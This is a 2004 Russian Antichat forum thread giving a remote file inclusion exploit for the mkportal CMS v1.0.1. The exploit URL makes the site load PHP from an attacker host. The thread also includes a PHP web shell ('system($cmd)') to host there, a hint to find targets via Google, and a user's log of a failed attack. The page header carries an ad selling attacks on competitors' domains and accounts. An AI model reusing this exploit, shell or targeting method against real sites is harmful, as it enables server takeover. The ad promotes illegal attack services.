Форум АНТИЧАТ - Дыра в cms "mkportal" v1.0.1

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Дыра в cms "mkportal" v1.0.1

Опции темы

Поиск в этой теме

Опции просмотра

21.07.2004, 00:39

zFailure

Участник форума

Регистрация: 06.06.2004

Сообщений: 169

Провел на форуме:
0

Репутация: 82

Отправить сообщение для zFailure с помощью ICQ

внимание! в 1.0.1а это уже исправили

файл http://[target]/mkportal/include/driverf.php содержит
что-то вроде
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">require $MK_PATH."/conf_global.php";[/QUOTE]<span id='postcolor'>

эксплойт:
http://[target]/mkporta....TH=http

где:
http://[hacker_site]/conf_global.php
любой php код

http://www.google.ru/search?....%BA&lr=

21.07.2004, 00:50

Че Гевара

Администратор

Регистрация: 05.10.2003

Сообщений: 1,083

Провел на форуме:
4618051

Репутация: 45

пхп-шная инъекция ?
Довольно частый случай:
http://www.site.ru/index.php&se=сайт_с_кодом&cmd=К оманды

21.07.2004, 00:55

Че Гевара

Администратор

Регистрация: 05.10.2003

Сообщений: 1,083

Провел на форуме:
4618051

Репутация: 45

Хотелось бы добавить, что "сайтом с кодом" может являться любой сайт на народе со страничкой следующего содержания:
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">
<PRE>
<H4>
<? system($cmd); ?>
</H4>
</PRE>
[/QUOTE]<span id='postcolor'>
Н-р: http://www.shutnicok.narod.ru/xak.php

21.07.2004, 01:11

zFailure

Участник форума

Регистрация: 06.06.2004

Сообщений: 169

Провел на форуме:
0

Репутация: 82

кстати как видно из запроса в google
этот движок неплохо распостранился

интересно сколько на народе вот таких сайтов с загадочными файлами *.php =)

11.10.2004, 19:06

PhreakeR

Новичок

Регистрация: 11.10.2004

Сообщений: 5

Провел на форуме:
0

Репутация: 0

Блин, пишет вот что:
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE">Fatal error: main(): Failed opening required 'http://hack-user.narod.ru/conf_global.php' (include_path='.:') in /membri/galassia/mkportal/include/driverf.php on line 20[/QUOTE]<span id='postcolor'>